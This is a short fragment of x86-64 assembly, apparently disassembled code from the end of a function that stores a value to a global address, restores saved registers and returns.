mov qword [0x180016028], rax
mov rsi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x50]
add rsp, 0x58
ret